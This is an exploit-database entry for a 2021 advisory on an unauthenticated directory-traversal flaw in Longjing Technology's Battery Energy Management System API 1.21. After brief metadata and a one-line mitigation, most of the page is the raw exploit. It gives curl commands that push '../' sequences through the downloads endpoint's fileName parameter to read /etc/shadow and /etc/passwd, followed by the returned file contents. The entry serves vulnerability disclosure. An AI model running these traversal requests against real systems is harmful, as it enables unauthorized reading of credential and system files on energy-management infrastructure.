header-logo
Suggest Exploit
vendor:
Battery Energy Management System
by:
LiquidWorm
7,5
CVSS
HIGH
Arbitrary File Download
22
CWE
Product Name: Battery Energy Management System
Affected Version From: 1.21
Affected Version To: 1.21
Patch Exists: NO
Related CWE: N/A
CPE: a:longjing_technology:battery_energy_management_system:1.21
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: nginx/1.19.1
2021

Longjing Technology BEMS API 1.21 – Remote Arbitrary File Download

The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.

Mitigation:

Input validation should be performed to verify that the fileName parameter is not being used to access files outside of the intended directory.
Source

Exploit-DB raw data:

# Exploit Title: Longjing Technology BEMS API 1.21 - Remote Arbitrary File Download
# Date: 05.07.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.ljkj2012.com

Longjing Technology BEMS API 1.21 Remote Arbitrary File Download


Vendor: Longjing Technology
Product web page: http://www.ljkj2012.com
Affected version: 1.21

Summary: Battery Energy Management System.

Desc: The application suffers from an unauthenticated arbitrary
file download vulnerability. Input passed through the fileName
parameter through downloads endpoint is not properly verified
before being used to download files. This can be exploited to
disclose the contents of arbitrary and sensitive files through
directory traversal attacks.

Tested on: nginx/1.19.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5657
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php


05.07.2021

--


$ curl -sk https://10.0.0.8/api/downloads?fileName=../../../../../../../../etc/shadow

root:*:18477:0:99999:7:::
daemon:*:18477:0:99999:7:::
bin:*:18477:0:99999:7:::
sys:*:18477:0:99999:7:::
sync:*:18477:0:99999:7:::
games:*:18477:0:99999:7:::
man:*:18477:0:99999:7:::
lp:*:18477:0:99999:7:::
mail:*:18477:0:99999:7:::
news:*:18477:0:99999:7:::
uucp:*:18477:0:99999:7:::
proxy:*:18477:0:99999:7:::
www-data:*:18477:0:99999:7:::
backup:*:18477:0:99999:7:::
list:*:18477:0:99999:7:::
irc:*:18477:0:99999:7:::
gnats:*:18477:0:99999:7:::
nobody:*:18477:0:99999:7:::
_apt:*:18477:0:99999:7:::


$ curl -sk https://10.0.0.8/api/downloads?fileName=../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin